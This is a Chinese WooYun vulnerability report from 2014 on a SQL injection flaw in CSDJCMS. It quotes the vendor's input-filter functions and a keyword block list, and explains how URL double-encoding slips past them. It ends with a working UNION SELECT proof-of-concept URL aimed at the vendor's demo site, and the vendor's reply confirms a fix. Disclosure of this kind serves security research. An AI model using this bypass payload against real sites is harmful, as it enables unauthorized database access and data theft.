当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-059088
漏洞标题：
CSDJCMS 程式舞曲 最新版 Sql 一枚 (test demo success).
相关厂商：
chshcms.com
漏洞作者：
′雨。
提交时间：
2014-05-05 16:42
修复时间：
2014-08-03 16:44
公开时间：
2014-08-03 16:44
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
20
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-05-05： 细节已通知厂商并且等待厂商处理中
2014-05-05： 厂商已经确认，细节仅向厂商公开
2014-05-08： 细节向第三方安全合作伙伴开放
2014-06-29： 细节向核心白帽子及相关领域专家公开
2014-07-09： 细节向普通白帽子公开
2014-07-19： 细节向实习白帽子公开
2014-08-03： 细节向公众公开

简要描述：

看到又更新了。。 我再继续看一看。

详细说明：

WooYun: 程氏舞曲 Sql一枚 依旧无视Gpc。
对这个洞的过滤进行绕过。
改了过滤的函数。 让我继续搞。
_____________________________________________________________________
发现过滤了zj.php中的key
但是app/controllers/dance.php中 没过滤。

public function so()
	{
            $data='';$data_content='';
            $fid = $this->security->xss_clean($this->uri->segment(3));   //方式
            $key = $this->security->xss_clean($this->input->get_post('key', TRUE));   //关键字
            $page  = intval($this->input->get('p', TRUE));   //页数
            if($page==0) $page=1;
            $key=$this->CsdjSkins->rurlencode($key);
            if($fid=='zm' && empty($key)){
                 $key=$this->security->xss_clean($this->uri->segment(4)); 
            }
	    $cache_id ="dance_so_".$fid."_".$key."_".$page;


function rurlencode($string) {
               $key=rawurldecode($string);
               if($this->is_utf8($key)){
                    $key=iconv('UTF-8', 'GB2312', $key);
               }
             return $key;
         }


解码一个。

function Safe($arr){
		//
		$getfilter = "'|<[^>]*?>|^\\+\/v(8|9)|\\b(and|or)\\b.+?(>|<|=|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
		$postfilter = "^\\+\/v(8|9)|\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|<\\s*img\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
		if (preg_match ( "/" . $getfilter . "/is", $arr ) == 1) { //GET
			$arr=''; 
		}
		if (preg_match ( "/" . $postfilter . "/is", $arr ) == 1) { //POST
			$arr=''; 
		}
                
		return $this->chkSql($arr);
	}
	function chkSql($str,$flag=false){
		$checkStr="<|>|%|%27|'|''|;|*|onfocusin|autofocus|and|exec|dbcc|alter|drop|insert|select|update|delete|count|master|truncate|char|declare|where|set|declare|mid|chr";
		if (empty($str)){ return ""; }
		$arr=explode("|",$checkStr);
		
		for ($i=0;$i<count($arr);$i++){
			if (strpos(strtolower($str),$arr[$i]) >0){
				if ($flag==false){
					switch ($arr[$i]){
						case "<":$re="&lt;";break;
						case ">":$re="&gt;";break;
						case "'":
						case "\"":$re="&quot;";break;
						case ";":$re="";break;
						default:$re="";break;
					}
					$str=str_replace($arr[$i],$re,$str);
				} else{
					exit("ϵͳʾ,аǷַ");
				}
			}
		}
		return $str;


这里过滤。
编码绕过。

漏洞证明：

cs1.jpg


http://demo.chshcms.com/index.php/dance/so/key/?key=%252527) %25%36%31%25%36%45%25%36%34 1=2 union %25%37%33%25%36%35%25%36%43%25%36%35%25%36%33%25%37%34 user(),user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 %23

修复方案：

可以尝试改改过滤函数。
看你们把。

版权声明：转载请注明来源 ′雨。@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-05-05 19:03

厂商回复：

已经修复~！
感谢检测~！

最新状态：

暂无